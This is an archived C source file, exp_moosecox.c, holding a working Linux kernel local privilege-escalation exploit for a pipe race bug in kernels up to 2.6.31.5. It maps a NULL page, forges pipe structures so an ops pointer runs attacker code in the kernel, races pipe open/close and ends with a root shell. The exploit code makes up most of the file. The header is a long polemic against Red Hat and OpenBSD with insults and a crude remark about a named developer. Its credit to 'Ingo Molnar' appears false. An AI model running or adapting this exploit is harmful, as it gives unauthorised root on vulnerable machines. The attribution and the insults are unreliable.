home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_moosecox.c < prev    next >
C/C++ Source or Header  |  2009-12-09  |  15KB  |  467 lines

  1. /* exp_moosecox.c
  2.    Watch a video of the exploit here:
  3.    http://www.youtube.com/watch?v=jt81NvaOj5Y
  4.  
  5.    developed entirely by Ingo Molnar (exploit writer extraordinaire!) , 
  6.    thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)
  7.  
  8.    dedicated to the Red Hat employees who get paid to copy+paste my 
  9.    twitter and issue security advisories, their sweet 
  10.    acknowledgement policy, and general classiness
  11.    see: https://bugzilla.redhat.com/show_activity.cgi?id=530490
  12.  
  13.    "policy" aside, there's a word for what you guys are doing: "plagiarism"
  14.    in fact, i tested this one day by posting three links to twitter,
  15.    without any discussion on any of them.  the same day, those three
  16.    (and only those three) links were assigned CVEs, even though two of 
  17.    them weren't even security bugs (it doesn't pay to copy+paste)
  18.  
  19.    official Ingo Molnar (that's me) policy for acknowledgement in 
  20.    exploits requires general douche-ness or plagiarization
  21.    official policy further dictates immediate exploit release for
  22.    embargoed, patched bug
  23.  
  24.    I'll be curious to see what the CVE statistics are like for the 
  25.    kernel this year when they get compiled next year -- I'm predicting 
  26.    that when someone's watching the sleepy watchers, a more personal 
  27.    interest is taken in doing the job that you're paid to do correctly.
  28.  
  29.    --------------------------------------------------------------------
  30.  
  31.    Special PS note to Theo (I can do this here because I know he'll 
  32.    never read it -- the guy is apparently oblivious to the entire world of 
  33.    security around him -- the same world that invents the protections 
  34.    years before him that he pats himself on the back for "innovating")
  35.    Seriously though, it's incredible to me that an entire team 
  36.    of developers whose sole purpose is to develop a secure operating 
  37.    system can be so oblivious to the rest of the world.  They haven't 
  38.    innovated since they replaced exploitable string copies with 
  39.    exploitable string truncations 6 or so years ago.
  40.  
  41.    The entire joke of a thread can be read here:
  42.    http://www.pubbs.net/openbsd/200911/4582/
  43.    "Our focus therefore is always on finding innovative ideas which make 
  44.     bugs very hard to exploit succesfully."
  45.    "He's too busy watching monkey porn instead of
  46.     building researching last-year's security technology that will stop 
  47.     an exploit technique that has been exploited multiple times."
  48.    "it seems that everyone else is slowly coming around to the
  49.     same solution."
  50.  
  51.    So let's talk about this "innovation" of theirs with their 
  52.    implementation of mmap_min_addr:
  53.  
  54.    They implemented it in 2008, a year after Linux implemented it, a 
  55.    year after the public phrack article on the bug class, more than a 
  56.    year after my mail to dailydave with the first public Linux kernel 
  57.    exploit for the bug class, and over two years after UDEREF was 
  58.    implemented in PaX (providing complete protection against the smaller 
  59.    subset of null ptr dereference bugs and the larger class of invalid 
  60.    userland access in general).
  61.  
  62.    OpenBSD had a public null pointer dereference exploit (agp_ioctl()) 
  63.    published for its OS in January of 2007.  It took them over a year 
  64.    and a half to implement the same feature that was implemented in 
  65.    Linux a few months after my public exploit in 2007.
  66.  
  67.    So how can it be that "everyone else is slowly coming around to the 
  68.    same solution"  when "everyone else" came to that solution over a 
  69.    year before you Theo?  In fact, I prediced this exact situation would 
  70.    happen back in 2007 in my DD post:
  71.    http://lists.virus.org/dailydave-0703/msg00011.html
  72.    "Expect OpenBSD to independently invent a protection against null ptr 
  73.     deref bugs sometime in 2009."
  74.  
  75.    Let's talk about some more "innovation" -- position independent 
  76.    executables.  PaX implemented position independent executables on 
  77.    Linux back in 2001 (ET_DYN).  PIE binary support was added to GNU 
  78.    binutils in 2003.  Those OpenBSD innovators implemented PIE binaries 
  79.    in 2008, 7 years after PaX.  Innovation indeed!
  80.  
  81.    How about their W^X/ASLR innovation?  These plagiarists have the 
  82.    audacity to announce on their press page:
  83.    http://www.openbsd.org/press.html
  84.    "Microsoft borrows one of OpenBSD's security features for Vista, 
  85.     stack/library randomization, under the name Address Space Layout 
  86.     Randomization (ASLR).  "Until now, the feature has been most 
  87.     prominently used in the OpenBSD Unix variant and the PaX and Exec 
  88.     Shield security patches for Linux""
  89.    Borrowing one of your features?  Where'd this ASLR acronym come from 
  90.    anyway?  Oh that's right, PaX again -- when they published the first 
  91.    design and implementation of it, and coined the term, in July 2001.
  92.    It covered the heap, mmap, and stack areas.
  93.    OpenBSD implemented "stack-gap randomization" in 2003.  Way to 
  94.    innovate!
  95.  
  96.    W^X, which is a horrible name as OpenBSD doesn't even enforce it with 
  97.    mprotect restrictions like PaX did from the beginning or even SELinux 
  98.    is doing now (from a 3rd party contribution modeled after PaX): 
  99.    PaX implemented true per-page non-executable page support, protecting 
  100.    binary data, the heap, and the stack, back in 2000.
  101.    OpenBSD implemented it in 2003, requiring a full userland rebuild.
  102.    The innovation is overwhelming!
  103.  
  104.    They keep coming up with the same exact "innovations" others came up 
  105.    with years before them.  Their official explanation for where they 
  106.    got the W^X/ASLR ideas was a drunk guy came into their tent at one of 
  107.    their hack-a-thons and started talking about the idea.  They had 
  108.    never heard of PaX when we asked them in 2003.  Which makes the 
  109.    following involuntarily contributed private ICB logs from Phrack #66
  110.    (Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:
  111.  
  112.    On some sunny day in July 2002 (t: Theo de Raadt):
  113.    <cloder> why can't you just randomize the base
  114.    <cloder> that's what PaX does
  115.    <t> You've not been paying attention to what art's saying, or you don't 
  116.     understand yet, either case is one of think it through yourself.
  117.    <cloder> whatever
  118.  
  119.    Only to see poetic justice in August 2003 (ttt: Theo again):
  120.  
  121.    <miod> more exactly, we heard of pax when they started bitching
  122.    <ttt> miod, that was very well spoken.
  123.  
  124.    That wraps up our OpenBSD history lesson, in case anyone forgot it.
  125.    PS -- enjoy that null ptr deref exploit just released for OpenBSD.
  126.  
  127.    --------------------------------------------------------------------
  128.  
  129.    Important final exploit notes:
  130.  
  131.    don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
  132.    or DEBUG_SPINLOCK are enabled and modify the structures below 
  133.    accordingly -- a fancier exploit would do this automatically
  134.  
  135.    I've broken the 2.4->2.6.10 version of the exploit and would like to see 
  136.    someone fix it ;)  See below for more comments on this.
  137. */
  138.  
  139. #include <stdio.h>
  140. #include <unistd.h>
  141. #include <fcntl.h>
  142. #include <string.h>
  143. #include <stdlib.h>
  144. #include <sys/types.h>
  145. #include <sched.h>
  146. #include <signal.h>
  147. #include <sys/syscall.h>
  148. #include <sys/utsname.h>
  149. #include "exp_framework.h"
  150.  
  151. int pipefd[2];
  152. struct exploit_state *exp_state;
  153. int is_old_kernel = 0;
  154.  
  155. int go_go_speed_racer(void *unused)
  156. {
  157.     int ret;
  158.  
  159.         while(!exp_state->got_ring0) {
  160.         /* bust spinlock */
  161.         *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
  162.                 ret = pipe(pipefd);
  163.         if (!ret) {
  164.                     close(pipefd[0]);
  165.                     close(pipefd[1]);
  166.         }
  167.         }
  168.  
  169.     return 0;
  170. }
  171.  
  172. /* <3 twiz/sgrakkyu */
  173. int start_thread(int (*f)(void *), void *arg)
  174. {
  175.         char *stack = malloc(0x4000);
  176.         int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
  177.         if (tid < 0) {
  178.                 printf("can't create thread\n");
  179.                 exit(1);
  180.         }
  181.     sleep(1);
  182.         return tid;
  183. }
  184.  
  185. char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
  186.  
  187. #define PIPE_BUFFERS 16
  188.  
  189. /* this changes on older kernels, but it doesn't matter to our method */
  190. struct pipe_buf_operations {
  191.     int can_merge;
  192.     void *map;
  193.     void *unmap;
  194.     void *confirm;
  195.     void *release;
  196.     void *steal;
  197.     void *get;
  198. };
  199.  
  200. struct pipe_buffer2620ornewer {
  201.     void *page;
  202.     unsigned int offset, len;
  203.     void *ops;
  204.     unsigned int flags;
  205.     unsigned long private;
  206. };
  207.  
  208. struct pipe_buffer2619orolder {
  209.     void *page;
  210.     unsigned int offset, len;
  211.     void *ops;
  212.     unsigned int flags;
  213. };
  214.  
  215. struct pipe_buffer2616orolder {
  216.     void *page;
  217.     unsigned int offset, len;
  218.     void *ops;
  219. };
  220.  
  221. struct pipe_inode_info2620ornewer {
  222.     unsigned int spinlock;
  223.     /*
  224.     // LOCKBREAK
  225.     unsigned int break_lock;
  226.     // DEBUG_SPINLOCK
  227.     unsigned int magic, owner_cpu;
  228.     void *owner;
  229.     */
  230.     void *next, *prev;
  231.     unsigned int nrbufs, curbuf;
  232.     void *tmp_page;
  233.     unsigned int readers;
  234.     unsigned int writers;
  235.     unsigned int waiting_writers;
  236.     unsigned int r_counter;
  237.     unsigned int w_counter;
  238.     void *fasync_readers;
  239.     void *fasync_writers;
  240.     void *inode;
  241.     struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
  242. };
  243.  
  244. struct pipe_inode_info2619orolder {
  245.     unsigned int spinlock;
  246.     /*
  247.     // if PREEMPT enabled
  248.     unsigned int break_lock;
  249.     // DEBUG_SPINLOCK
  250.     unsigned int magic, owner_cpu;
  251.     void *owner;
  252.     */
  253.     void *next, *prev;
  254.     unsigned int nrbufs, curbuf;
  255.     struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
  256.     void *tmp_page;
  257.     unsigned int start;
  258.     unsigned int readers;
  259.     unsigned int writers;
  260.     unsigned int waiting_writers;
  261.     unsigned int r_counter;
  262.     unsigned int w_counter;
  263.     void *fasync_readers;
  264.     void *fasync_writers;
  265.     void *inode;
  266. };
  267.  
  268. struct pipe_inode_info2616orolder {
  269.     unsigned int spinlock;
  270.     /*
  271.     // if PREEMPT enabled
  272.     unsigned int break_lock;
  273.     // DEBUG_SPINLOCK
  274.     unsigned int magic, owner_cpu;
  275.     */
  276.     void *owner;
  277.     void *next, *prev;
  278.     unsigned int nrbufs, curbuf;
  279.     struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
  280.     void *tmp_page;
  281.     unsigned int start;
  282.     unsigned int readers;
  283.     unsigned int writers;
  284.     unsigned int waiting_writers;
  285.     unsigned int r_counter;
  286.     unsigned int w_counter;
  287.     void *fasync_readers;
  288.     void *fasync_writers;
  289. };
  290.  
  291. struct fasync_struct {
  292.     int magic;
  293.     int fa_fd;
  294.     struct fasync_struct *fa_next;
  295.     void *file;
  296. };
  297.  
  298. struct pipe_inode_info2610orolder {
  299.     /* this includes 2.4 kernels */
  300.     unsigned long lock; // can be rw or spin
  301.     void *next, *prev;
  302.     char *base;
  303.     unsigned int len;
  304.     unsigned int start;
  305.     unsigned int readers;
  306.     unsigned int writers;
  307.     /* 2.4 only */
  308.     unsigned int waiting_readers;
  309.  
  310.     unsigned int waiting_writers;
  311.     unsigned int r_counter;
  312.     unsigned int w_counter;
  313.     /* 2.6 only */
  314.     struct fasync_struct *fasync_readers;
  315.     struct fasync_struct *fasync_writers;
  316. };
  317.  
  318. int prepare(unsigned char *buf)
  319. {    
  320.     struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
  321.     struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
  322.     struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
  323.     struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
  324.     struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
  325.     int i;
  326.     int newver;
  327.     struct utsname unm;
  328.  
  329.     i = uname(&unm);
  330.     if (i != 0) {
  331.         printf("unable to get kernel version\n");
  332.         exit(1);
  333.     }
  334.  
  335.     if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
  336.         fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
  337.         newver = 3;
  338.     } else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
  339.         fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
  340.         newver = 2;
  341.     } else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
  342.         fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
  343.         newver = 1;
  344. //    } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
  345. //        is_old_kernel = 1;
  346. //        newver = 0;
  347.     } else {
  348.         fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit.  Write it yourself.\n");
  349.         exit(1);
  350.     }
  351.  
  352.     /* for most of these what will happen is our write will
  353.        cause ops->confirm(/pin) to be called, which we've replaced
  354.        with own_the_kernel
  355.        for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
  356.        called instead (repeatedly) is the release op
  357.     */
  358.     if (newver == 3) {
  359.         /* uncomment for DEBUG_SPINLOCK */
  360.         //info_new->magic = 0xdead4ead;
  361.         /* makes list_head empty for wake_up_common */
  362.         info_new->next = &info_new->next;
  363.         info_new->readers = 1;
  364.         info_new->writers = 1;
  365.         info_new->nrbufs = 1;
  366.         info_new->curbuf = 1;
  367.         for (i = 0; i < PIPE_BUFFERS; i++)
  368.             info_new->bufs[i].ops = (void *)ops;
  369.     } else if (newver == 2) {
  370.         /* uncomment for DEBUG_SPINLOCK */
  371.         //info_old->magic = 0xdead4ead;
  372.         /* makes list_head empty for wake_up_common */
  373.         info_old->next = &info_old->next;
  374.         info_old->readers = 1;
  375.         info_old->writers = 1;
  376.         info_old->nrbufs = 1;
  377.         info_old->curbuf = 1;
  378.         for (i = 0; i < PIPE_BUFFERS; i++)
  379.             info_old->bufs[i].ops = (void *)ops;
  380.     } else if (newver == 1) {
  381.         /* uncomment for DEBUG_SPINLOCK */
  382.         //info_older->magic = 0xdead4ead;
  383.         /* makes list_head empty for wake_up_common */
  384.         info_older->next = &info_older->next;
  385.         info_older->readers = 1;
  386.         info_older->writers = 1;
  387.         info_older->nrbufs = 1;
  388.         info_older->curbuf = 1;
  389.         /* we'll get called multiple times from free_pipe_info
  390.            but it's ok because own_the_kernel handles this case
  391.         */
  392.         for (i = 0; i < PIPE_BUFFERS; i++)
  393.             info_older->bufs[i].ops = (void *)ops;
  394.     } else {
  395.         /*
  396.         different ballgame here, instead of being able to 
  397.         provide a function pointer in the ops table, you 
  398.         control a base address used to compute the address for 
  399.         a copy into the kernel via copy_from_user.  The 
  400.         following should get you started.
  401.         */
  402.         /* lookup symbol for writable fptr then trigger it later
  403.            change the main write in the one thread to write out 
  404.            pointers with the value of exp_state->exploit_kernel
  405.         */
  406.         info_oldest->base = (char *)0xc8000000;
  407.         info_oldest->readers = 1;
  408.         info_oldest->writers = 1;
  409.         return 0;
  410.     }
  411.  
  412.     ops->can_merge = 1;
  413.     for (i = 0; i < 16; i++)
  414.         ((void **)&ops->map)[i] = exp_state->own_the_kernel;
  415.  
  416.     return 0;
  417. }
  418.  
  419. int requires_null_page = 1;
  420.  
  421. int get_exploit_state_ptr(struct exploit_state *ptr)
  422. {
  423.     exp_state = ptr;
  424.     return 0;
  425. }
  426.  
  427. int trigger(void)
  428. {
  429.         char buf[128];
  430.         int fd;
  431.     int i = 0;
  432.  
  433.     /* ignore sigpipe so we don't bail out early */
  434.     signal(SIGPIPE, SIG_IGN);
  435.  
  436.     start_thread(go_go_speed_racer, NULL);
  437.  
  438.     fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
  439.     fflush(stdout);
  440.  
  441.         while (!exp_state->got_ring0 && i < 10000000) {
  442.         fd = pipefd[1];
  443.         sprintf(buf, "/proc/self/fd/%d", fd);
  444.         fd = open(buf, O_WRONLY | O_NONBLOCK);
  445.         if (fd >= 0) {
  446.             /* bust spinlock */
  447.             *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
  448.             write(fd, ".", 1);
  449.             close(fd);
  450.         }
  451.         i++;
  452.         }
  453.  
  454.     if (!exp_state->got_ring0) {
  455.         fprintf(stdout, " [+] Failed to trigger the vulnerability.  Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
  456.         return 0;
  457.     }
  458.  
  459.     return 1;
  460. }
  461.  
  462. int post(void)
  463. {
  464. //    return RUN_ROOTSHELL;
  465.     return FUNNY_PIC_AND_ROOTSHELL;
  466. }
  467.